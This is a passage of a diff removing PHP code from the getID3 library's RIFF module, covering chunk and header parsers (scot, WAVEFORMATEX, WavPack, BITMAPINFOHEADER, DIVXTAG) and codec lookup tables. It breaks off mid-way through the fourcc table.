- $RIFFchunk[$chunkname][$thisindex]['parsed']['padd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 51, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['asclen'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 52, 5); - $RIFFchunk[$chunkname][$thisindex]['parsed']['startseconds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 57, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['starthundredths'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 59, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['endseconds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 61, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['endhundreths'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 63, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['sdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 65, 6); - $RIFFchunk[$chunkname][$thisindex]['parsed']['kdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 71, 6); - $RIFFchunk[$chunkname][$thisindex]['parsed']['start_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 77, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['kill_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 78, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['digital'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 79, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 80, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['stereo'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 82, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['compress'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 83, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['eomstrt'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 84, 4)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['eomlen'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 88, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['attrib2'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 90, 4)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['future1'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 94, 12); - $RIFFchunk[$chunkname][$thisindex]['parsed']['catfontcolor'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 106, 4)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['catcolor'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 110, 4)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['segeompos'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 114, 4)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['vt_startsecs'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 118, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['vt_starthunds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 120, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['priorcat'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 122, 3); - $RIFFchunk[$chunkname][$thisindex]['parsed']['priorcopy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 125, 4); - $RIFFchunk[$chunkname][$thisindex]['parsed']['priorpadd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 129, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['postcat'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 130, 3); - $RIFFchunk[$chunkname][$thisindex]['parsed']['postcopy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 133, 4); - $RIFFchunk[$chunkname][$thisindex]['parsed']['postpadd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 137, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['hrcanplay'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 138, 21); - $RIFFchunk[$chunkname][$thisindex]['parsed']['future2'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 159, 108); - $RIFFchunk[$chunkname][$thisindex]['parsed']['artist'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 267, 34); - $RIFFchunk[$chunkname][$thisindex]['parsed']['comment'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 301, 34); // "trivia" in other documentation - $RIFFchunk[$chunkname][$thisindex]['parsed']['intro'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 335, 2); - $RIFFchunk[$chunkname][$thisindex]['parsed']['end'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 337, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['year'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 338, 4); - $RIFFchunk[$chunkname][$thisindex]['parsed']['obsolete2'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 342, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['rec_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 343, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['rdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 344, 6); - $RIFFchunk[$chunkname][$thisindex]['parsed']['mpeg_bitrate'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 350, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['pitch'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 352, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['playlevel'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 354, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['lenvalid'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 356, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 357, 4)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['newplaylevel'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 361, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['chopsize'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 363, 4)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['vteomovr'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 367, 4)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['desiredlen'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 371, 4)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['triggers'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 375, 4)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['fillout'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 379, 33); - - foreach (array('title', 'artist', 'comment') as $key) { - if (trim($RIFFchunk[$chunkname][$thisindex]['parsed'][$key])) { - $info['riff']['comments'][$key] = array($RIFFchunk[$chunkname][$thisindex]['parsed'][$key]); - } - } - if ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] && !empty($info['filesize']) && ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] != $info['filesize'])) { - $this->warning('RIFF.WAVE.scot.filelength ('.$RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'].') different from actual filesize ('.$info['filesize'].')'); - } - break; - - default: - if (!empty($LISTchunkParent) && isset($LISTchunkMaxOffset) && (($RIFFchunk[$chunkname][$thisindex]['offset'] + $RIFFchunk[$chunkname][$thisindex]['size']) <= $LISTchunkMaxOffset)) { - $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['offset'] = $RIFFchunk[$chunkname][$thisindex]['offset']; - $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['size'] = $RIFFchunk[$chunkname][$thisindex]['size']; - unset($RIFFchunk[$chunkname][$thisindex]['offset']); - unset($RIFFchunk[$chunkname][$thisindex]['size']); - if (isset($RIFFchunk[$chunkname][$thisindex]) && empty($RIFFchunk[$chunkname][$thisindex])) { - unset($RIFFchunk[$chunkname][$thisindex]); - } - if (isset($RIFFchunk[$chunkname]) && empty($RIFFchunk[$chunkname])) { - unset($RIFFchunk[$chunkname]); - } - $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['data'] = $this->fread($chunksize); - } elseif ($chunksize < 2048) { - // only read data in if smaller than 2kB - $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); - } else { - $this->fseek($chunksize, SEEK_CUR); - } - break; - } - break; - } - } - - } catch (getid3_exception $e) { - if ($e->getCode() == 10) { - $this->warning('RIFF parser: '.$e->getMessage()); - } else { - throw $e; - } - } - - return $RIFFchunk; - } - - /** - * @param string $RIFFdata - * - * @return bool - */ - public function ParseRIFFdata(&$RIFFdata) { - $info = &$this->getid3->info; - if ($RIFFdata) { - $tempfile = tempnam(GETID3_TEMP_DIR, 'getID3'); - $fp_temp = fopen($tempfile, 'wb'); - $RIFFdataLength = strlen($RIFFdata); - $NewLengthString = getid3_lib::LittleEndian2String($RIFFdataLength, 4); - for ($i = 0; $i < 4; $i++) { - $RIFFdata[($i + 4)] = $NewLengthString[$i]; - } - fwrite($fp_temp, $RIFFdata); - fclose($fp_temp); - - $getid3_temp = new getID3(); - $getid3_temp->openfile($tempfile); - $getid3_temp->info['filesize'] = $RIFFdataLength; - $getid3_temp->info['filenamepath'] = $info['filenamepath']; - $getid3_temp->info['tags'] = $info['tags']; - $getid3_temp->info['warning'] = $info['warning']; - $getid3_temp->info['error'] = $info['error']; - $getid3_temp->info['comments'] = $info['comments']; - $getid3_temp->info['audio'] = (isset($info['audio']) ? $info['audio'] : array()); - $getid3_temp->info['video'] = (isset($info['video']) ? $info['video'] : array()); - $getid3_riff = new getid3_riff($getid3_temp); - $getid3_riff->Analyze(); - - $info['riff'] = $getid3_temp->info['riff']; - $info['warning'] = $getid3_temp->info['warning']; - $info['error'] = $getid3_temp->info['error']; - $info['tags'] = $getid3_temp->info['tags']; - $info['comments'] = $getid3_temp->info['comments']; - unset($getid3_riff, $getid3_temp); - unlink($tempfile); - } - return false; - } - - /** - * @param array $RIFFinfoArray - * @param array $CommentsTargetArray - * - * @return bool - */ - public static function parseComments(&$RIFFinfoArray, &$CommentsTargetArray) { - $RIFFinfoKeyLookup = array( - 'IARL'=>'archivallocation', - 'IART'=>'artist', - 'ICDS'=>'costumedesigner', - 'ICMS'=>'commissionedby', - 'ICMT'=>'comment', - 'ICNT'=>'country', - 'ICOP'=>'copyright', - 'ICRD'=>'creationdate', - 'IDIM'=>'dimensions', - 'IDIT'=>'digitizationdate', - 'IDPI'=>'resolution', - 'IDST'=>'distributor', - 'IEDT'=>'editor', - 'IENG'=>'engineers', - 'IFRM'=>'accountofparts', - 'IGNR'=>'genre', - 'IKEY'=>'keywords', - 'ILGT'=>'lightness', - 'ILNG'=>'language', - 'IMED'=>'orignalmedium', - 'IMUS'=>'composer', - 'INAM'=>'title', - 'IPDS'=>'productiondesigner', - 'IPLT'=>'palette', - 'IPRD'=>'product', - 'IPRO'=>'producer', - 'IPRT'=>'part', - 'IRTD'=>'rating', - 'ISBJ'=>'subject', - 'ISFT'=>'software', - 'ISGN'=>'secondarygenre', - 'ISHP'=>'sharpness', - 'ISRC'=>'sourcesupplier', - 'ISRF'=>'digitizationsource', - 'ISTD'=>'productionstudio', - 'ISTR'=>'starring', - 'ITCH'=>'encoded_by', - 'IWEB'=>'url', - 'IWRI'=>'writer', - '____'=>'comment', - ); - foreach ($RIFFinfoKeyLookup as $key => $value) { - if (isset($RIFFinfoArray[$key])) { - foreach ($RIFFinfoArray[$key] as $commentid => $commentdata) { - if (trim($commentdata['data']) != '') { - if (isset($CommentsTargetArray[$value])) { - $CommentsTargetArray[$value][] = trim($commentdata['data']); - } else { - $CommentsTargetArray[$value] = array(trim($commentdata['data'])); - } - } - } - } - } - return true; - } - - /** - * @param string $WaveFormatExData - * - * @return array - */ - public static function parseWAVEFORMATex($WaveFormatExData) { - // shortcut - $WaveFormatEx = array(); - $WaveFormatEx['raw'] = array(); - $WaveFormatEx_raw = &$WaveFormatEx['raw']; - - $WaveFormatEx_raw['wFormatTag'] = substr($WaveFormatExData, 0, 2); - $WaveFormatEx_raw['nChannels'] = substr($WaveFormatExData, 2, 2); - $WaveFormatEx_raw['nSamplesPerSec'] = substr($WaveFormatExData, 4, 4); - $WaveFormatEx_raw['nAvgBytesPerSec'] = substr($WaveFormatExData, 8, 4); - $WaveFormatEx_raw['nBlockAlign'] = substr($WaveFormatExData, 12, 2); - $WaveFormatEx_raw['wBitsPerSample'] = substr($WaveFormatExData, 14, 2); - if (strlen($WaveFormatExData) > 16) { - $WaveFormatEx_raw['cbSize'] = substr($WaveFormatExData, 16, 2); - } - $WaveFormatEx_raw = array_map('getid3_lib::LittleEndian2Int', $WaveFormatEx_raw); - - $WaveFormatEx['codec'] = self::wFormatTagLookup($WaveFormatEx_raw['wFormatTag']); - $WaveFormatEx['channels'] = $WaveFormatEx_raw['nChannels']; - $WaveFormatEx['sample_rate'] = $WaveFormatEx_raw['nSamplesPerSec']; - $WaveFormatEx['bitrate'] = $WaveFormatEx_raw['nAvgBytesPerSec'] * 8; - $WaveFormatEx['bits_per_sample'] = $WaveFormatEx_raw['wBitsPerSample']; - - return $WaveFormatEx; - } - - /** - * @param string $WavPackChunkData - * - * @return bool - */ - public function parseWavPackHeader($WavPackChunkData) { - // typedef struct { - // char ckID [4]; - // long ckSize; - // short version; - // short bits; // added for version 2.00 - // short flags, shift; // added for version 3.00 - // long total_samples, crc, crc2; - // char extension [4], extra_bc, extras [3]; - // } WavpackHeader; - - // shortcut - $info = &$this->getid3->info; - $info['wavpack'] = array(); - $thisfile_wavpack = &$info['wavpack']; - - $thisfile_wavpack['version'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 0, 2)); - if ($thisfile_wavpack['version'] >= 2) { - $thisfile_wavpack['bits'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 2, 2)); - } - if ($thisfile_wavpack['version'] >= 3) { - $thisfile_wavpack['flags_raw'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 4, 2)); - $thisfile_wavpack['shift'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 6, 2)); - $thisfile_wavpack['total_samples'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 8, 4)); - $thisfile_wavpack['crc1'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 12, 4)); - $thisfile_wavpack['crc2'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 16, 4)); - $thisfile_wavpack['extension'] = substr($WavPackChunkData, 20, 4); - $thisfile_wavpack['extra_bc'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 24, 1)); - for ($i = 0; $i <= 2; $i++) { - $thisfile_wavpack['extras'][] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 25 + $i, 1)); - } - - // shortcut - $thisfile_wavpack['flags'] = array(); - $thisfile_wavpack_flags = &$thisfile_wavpack['flags']; - - $thisfile_wavpack_flags['mono'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000001); - $thisfile_wavpack_flags['fast_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000002); - $thisfile_wavpack_flags['raw_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000004); - $thisfile_wavpack_flags['calc_noise'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000008); - $thisfile_wavpack_flags['high_quality'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000010); - $thisfile_wavpack_flags['3_byte_samples'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000020); - $thisfile_wavpack_flags['over_20_bits'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000040); - $thisfile_wavpack_flags['use_wvc'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000080); - $thisfile_wavpack_flags['noiseshaping'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000100); - $thisfile_wavpack_flags['very_fast_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000200); - $thisfile_wavpack_flags['new_high_quality'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000400); - $thisfile_wavpack_flags['cancel_extreme'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000800); - $thisfile_wavpack_flags['cross_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x001000); - $thisfile_wavpack_flags['new_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x002000); - $thisfile_wavpack_flags['joint_stereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x004000); - $thisfile_wavpack_flags['extra_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x008000); - $thisfile_wavpack_flags['override_noiseshape'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x010000); - $thisfile_wavpack_flags['override_jointstereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x020000); - $thisfile_wavpack_flags['copy_source_filetime'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x040000); - $thisfile_wavpack_flags['create_exe'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x080000); - } - - return true; - } - - /** - * @param string $BITMAPINFOHEADER - * @param bool $littleEndian - * - * @return array - */ - public static function ParseBITMAPINFOHEADER($BITMAPINFOHEADER, $littleEndian=true) { - - $parsed = array(); - $parsed['biSize'] = substr($BITMAPINFOHEADER, 0, 4); // number of bytes required by the BITMAPINFOHEADER structure - $parsed['biWidth'] = substr($BITMAPINFOHEADER, 4, 4); // width of the bitmap in pixels - $parsed['biHeight'] = substr($BITMAPINFOHEADER, 8, 4); // height of the bitmap in pixels. If biHeight is positive, the bitmap is a 'bottom-up' DIB and its origin is the lower left corner. If biHeight is negative, the bitmap is a 'top-down' DIB and its origin is the upper left corner - $parsed['biPlanes'] = substr($BITMAPINFOHEADER, 12, 2); // number of color planes on the target device. In most cases this value must be set to 1 - $parsed['biBitCount'] = substr($BITMAPINFOHEADER, 14, 2); // Specifies the number of bits per pixels - $parsed['biSizeImage'] = substr($BITMAPINFOHEADER, 20, 4); // size of the bitmap data section of the image (the actual pixel data, excluding BITMAPINFOHEADER and RGBQUAD structures) - $parsed['biXPelsPerMeter'] = substr($BITMAPINFOHEADER, 24, 4); // horizontal resolution, in pixels per metre, of the target device - $parsed['biYPelsPerMeter'] = substr($BITMAPINFOHEADER, 28, 4); // vertical resolution, in pixels per metre, of the target device - $parsed['biClrUsed'] = substr($BITMAPINFOHEADER, 32, 4); // actual number of color indices in the color table used by the bitmap. If this value is zero, the bitmap uses the maximum number of colors corresponding to the value of the biBitCount member for the compression mode specified by biCompression - $parsed['biClrImportant'] = substr($BITMAPINFOHEADER, 36, 4); // number of color indices that are considered important for displaying the bitmap. If this value is zero, all colors are important - $parsed = array_map('getid3_lib::'.($littleEndian ? 'Little' : 'Big').'Endian2Int', $parsed); - - $parsed['fourcc'] = substr($BITMAPINFOHEADER, 16, 4); // compression identifier - - return $parsed; - } - - /** - * @param string $DIVXTAG - * @param bool $raw - * - * @return array - */ - public static function ParseDIVXTAG($DIVXTAG, $raw=false) { - // structure from "IDivX" source, Form1.frm, by "Greg Frazier of Daemonic Software Group", email: gfrazier@icestorm.net, web: http://dsg.cjb.net/ - // source available at http://files.divx-digest.com/download/c663efe7ef8ad2e90bf4af4d3ea6188a/on0SWN2r/edit/IDivX.zip - // 'Byte Layout: '1111111111111111 - // '32 for Movie - 1 '1111111111111111 - // '28 for Author - 6 '6666666666666666 - // '4 for year - 2 '6666666666662222 - // '3 for genre - 3 '7777777777777777 - // '48 for Comments - 7 '7777777777777777 - // '1 for Rating - 4 '7777777777777777 - // '5 for Future Additions - 0 '333400000DIVXTAG - // '128 bytes total - - static $DIVXTAGgenre = array( - 0 => 'Action', - 1 => 'Action/Adventure', - 2 => 'Adventure', - 3 => 'Adult', - 4 => 'Anime', - 5 => 'Cartoon', - 6 => 'Claymation', - 7 => 'Comedy', - 8 => 'Commercial', - 9 => 'Documentary', - 10 => 'Drama', - 11 => 'Home Video', - 12 => 'Horror', - 13 => 'Infomercial', - 14 => 'Interactive', - 15 => 'Mystery', - 16 => 'Music Video', - 17 => 'Other', - 18 => 'Religion', - 19 => 'Sci Fi', - 20 => 'Thriller', - 21 => 'Western', - ), - $DIVXTAGrating = array( - 0 => 'Unrated', - 1 => 'G', - 2 => 'PG', - 3 => 'PG-13', - 4 => 'R', - 5 => 'NC-17', - ); - - $parsed = array(); - $parsed['title'] = trim(substr($DIVXTAG, 0, 32)); - $parsed['artist'] = trim(substr($DIVXTAG, 32, 28)); - $parsed['year'] = intval(trim(substr($DIVXTAG, 60, 4))); - $parsed['comment'] = trim(substr($DIVXTAG, 64, 48)); - $parsed['genre_id'] = intval(trim(substr($DIVXTAG, 112, 3))); - $parsed['rating_id'] = ord(substr($DIVXTAG, 115, 1)); - //$parsed['padding'] = substr($DIVXTAG, 116, 5); // 5-byte null - //$parsed['magic'] = substr($DIVXTAG, 121, 7); // "DIVXTAG" - - $parsed['genre'] = (isset($DIVXTAGgenre[$parsed['genre_id']]) ? $DIVXTAGgenre[$parsed['genre_id']] : $parsed['genre_id']); - $parsed['rating'] = (isset($DIVXTAGrating[$parsed['rating_id']]) ? $DIVXTAGrating[$parsed['rating_id']] : $parsed['rating_id']); - - if (!$raw) { - unset($parsed['genre_id'], $parsed['rating_id']); - foreach ($parsed as $key => $value) { - if (empty($value)) { - unset($parsed[$key]); - } - } - } - - foreach ($parsed as $tag => $value) { - $parsed[$tag] = array($value); - } - - return $parsed; - } - - /** - * @param string $tagshortname - * - * @return string - */ - public static function waveSNDMtagLookup($tagshortname) { - $begin = __LINE__; - - /** This is not a comment! - - ©kwd keywords - ©BPM bpm - ©trt tracktitle - ©des description - ©gen category - ©fin featuredinstrument - ©LID longid - ©bex bwdescription - ©pub publisher - ©cdt cdtitle - ©alb library - ©com composer - - */ - - return getid3_lib::EmbeddedLookup($tagshortname, $begin, __LINE__, __FILE__, 'riff-sndm'); - } - - /** - * @param int $wFormatTag - * - * @return string - */ - public static function wFormatTagLookup($wFormatTag) { - - $begin = __LINE__; - - /** This is not a comment! - - 0x0000 Microsoft Unknown Wave Format - 0x0001 Pulse Code Modulation (PCM) - 0x0002 Microsoft ADPCM - 0x0003 IEEE Float - 0x0004 Compaq Computer VSELP - 0x0005 IBM CVSD - 0x0006 Microsoft A-Law - 0x0007 Microsoft mu-Law - 0x0008 Microsoft DTS - 0x0010 OKI ADPCM - 0x0011 Intel DVI/IMA ADPCM - 0x0012 Videologic MediaSpace ADPCM - 0x0013 Sierra Semiconductor ADPCM - 0x0014 Antex Electronics G.723 ADPCM - 0x0015 DSP Solutions DigiSTD - 0x0016 DSP Solutions DigiFIX - 0x0017 Dialogic OKI ADPCM - 0x0018 MediaVision ADPCM - 0x0019 Hewlett-Packard CU - 0x0020 Yamaha ADPCM - 0x0021 Speech Compression Sonarc - 0x0022 DSP Group TrueSpeech - 0x0023 Echo Speech EchoSC1 - 0x0024 Audiofile AF36 - 0x0025 Audio Processing Technology APTX - 0x0026 AudioFile AF10 - 0x0027 Prosody 1612 - 0x0028 LRC - 0x0030 Dolby AC2 - 0x0031 Microsoft GSM 6.10 - 0x0032 MSNAudio - 0x0033 Antex Electronics ADPCME - 0x0034 Control Resources VQLPC - 0x0035 DSP Solutions DigiREAL - 0x0036 DSP Solutions DigiADPCM - 0x0037 Control Resources CR10 - 0x0038 Natural MicroSystems VBXADPCM - 0x0039 Crystal Semiconductor IMA ADPCM - 0x003A EchoSC3 - 0x003B Rockwell ADPCM - 0x003C Rockwell Digit LK - 0x003D Xebec - 0x0040 Antex Electronics G.721 ADPCM - 0x0041 G.728 CELP - 0x0042 MSG723 - 0x0050 MPEG Layer-2 or Layer-1 - 0x0052 RT24 - 0x0053 PAC - 0x0055 MPEG Layer-3 - 0x0059 Lucent G.723 - 0x0060 Cirrus - 0x0061 ESPCM - 0x0062 Voxware - 0x0063 Canopus Atrac - 0x0064 G.726 ADPCM - 0x0065 G.722 ADPCM - 0x0066 DSAT - 0x0067 DSAT Display - 0x0069 Voxware Byte Aligned - 0x0070 Voxware AC8 - 0x0071 Voxware AC10 - 0x0072 Voxware AC16 - 0x0073 Voxware AC20 - 0x0074 Voxware MetaVoice - 0x0075 Voxware MetaSound - 0x0076 Voxware RT29HW - 0x0077 Voxware VR12 - 0x0078 Voxware VR18 - 0x0079 Voxware TQ40 - 0x0080 Softsound - 0x0081 Voxware TQ60 - 0x0082 MSRT24 - 0x0083 G.729A - 0x0084 MVI MV12 - 0x0085 DF G.726 - 0x0086 DF GSM610 - 0x0088 ISIAudio - 0x0089 Onlive - 0x0091 SBC24 - 0x0092 Dolby AC3 SPDIF - 0x0093 MediaSonic G.723 - 0x0094 Aculab PLC Prosody 8kbps - 0x0097 ZyXEL ADPCM - 0x0098 Philips LPCBB - 0x0099 Packed - 0x00FF AAC - 0x0100 Rhetorex ADPCM - 0x0101 IBM mu-law - 0x0102 IBM A-law - 0x0103 IBM AVC Adaptive Differential Pulse Code Modulation (ADPCM) - 0x0111 Vivo G.723 - 0x0112 Vivo Siren - 0x0123 Digital G.723 - 0x0125 Sanyo LD ADPCM - 0x0130 Sipro Lab Telecom ACELP NET - 0x0131 Sipro Lab Telecom ACELP 4800 - 0x0132 Sipro Lab Telecom ACELP 8V3 - 0x0133 Sipro Lab Telecom G.729 - 0x0134 Sipro Lab Telecom G.729A - 0x0135 Sipro Lab Telecom Kelvin - 0x0140 Windows Media Video V8 - 0x0150 Qualcomm PureVoice - 0x0151 Qualcomm HalfRate - 0x0155 Ring Zero Systems TUB GSM - 0x0160 Microsoft Audio 1 - 0x0161 Windows Media Audio V7 / V8 / V9 - 0x0162 Windows Media Audio Professional V9 - 0x0163 Windows Media Audio Lossless V9 - 0x0200 Creative Labs ADPCM - 0x0202 Creative Labs Fastspeech8 - 0x0203 Creative Labs Fastspeech10 - 0x0210 UHER Informatic GmbH ADPCM - 0x0220 Quarterdeck - 0x0230 I-link Worldwide VC - 0x0240 Aureal RAW Sport - 0x0250 Interactive Products HSX - 0x0251 Interactive Products RPELP - 0x0260 Consistent Software CS2 - 0x0270 Sony SCX - 0x0300 Fujitsu FM Towns Snd - 0x0400 BTV Digital - 0x0401 Intel Music Coder - 0x0450 QDesign Music - 0x0680 VME VMPCM - 0x0681 AT&T Labs TPC - 0x08AE ClearJump LiteWave - 0x1000 Olivetti GSM - 0x1001 Olivetti ADPCM - 0x1002 Olivetti CELP - 0x1003 Olivetti SBC - 0x1004 Olivetti OPR - 0x1100 Lernout & Hauspie Codec (0x1100) - 0x1101 Lernout & Hauspie CELP Codec (0x1101) - 0x1102 Lernout & Hauspie SBC Codec (0x1102) - 0x1103 Lernout & Hauspie SBC Codec (0x1103) - 0x1104 Lernout & Hauspie SBC Codec (0x1104) - 0x1400 Norris - 0x1401 AT&T ISIAudio - 0x1500 Soundspace Music Compression - 0x181C VoxWare RT24 Speech - 0x1FC4 NCT Soft ALF2CD (www.nctsoft.com) - 0x2000 Dolby AC3 - 0x2001 Dolby DTS - 0x2002 WAVE_FORMAT_14_4 - 0x2003 WAVE_FORMAT_28_8 - 0x2004 WAVE_FORMAT_COOK - 0x2005 WAVE_FORMAT_DNET - 0x674F Ogg Vorbis 1 - 0x6750 Ogg Vorbis 2 - 0x6751 Ogg Vorbis 3 - 0x676F Ogg Vorbis 1+ - 0x6770 Ogg Vorbis 2+ - 0x6771 Ogg Vorbis 3+ - 0x7A21 GSM-AMR (CBR, no SID) - 0x7A22 GSM-AMR (VBR, including SID) - 0xFFFE WAVE_FORMAT_EXTENSIBLE - 0xFFFF WAVE_FORMAT_DEVELOPMENT - - */ - - return getid3_lib::EmbeddedLookup('0x'.str_pad(strtoupper(dechex($wFormatTag)), 4, '0', STR_PAD_LEFT), $begin, __LINE__, __FILE__, 'riff-wFormatTag'); - } - - /** - * @param string $fourcc - * - * @return string - */ - public static function fourccLookup($fourcc) { - - $begin = __LINE__; - - /** This is not a comment! - - swot http://developer.apple.com/qa/snd/snd07.html - ____ No Codec (____) - _BIT BI_BITFIELDS (Raw RGB) - _JPG JPEG compressed - _PNG PNG compressed W3C/ISO/IEC (RFC-2083) - _RAW Full Frames (Uncompressed) - _RGB Raw RGB Bitmap - _RL4 RLE 4bpp RGB - _RL8 RLE 8bpp RGB - 3IV1 3ivx MPEG-4 v1 - 3IV2 3ivx MPEG-4 v2 - 3IVX 3ivx MPEG-4 - AASC Autodesk Animator - ABYR Kensington ?ABYR? - AEMI Array Microsystems VideoONE MPEG1-I Capture - AFLC Autodesk Animator FLC - AFLI Autodesk Animator FLI - AMPG Array Microsystems VideoONE MPEG - ANIM Intel RDX (ANIM) - AP41 AngelPotion Definitive - ASV1 Asus Video v1 - ASV2 Asus Video v2 - ASVX Asus Video 2.0 (audio) - AUR2 AuraVision Aura 2 Codec - YUV 4:2:2 - AURA 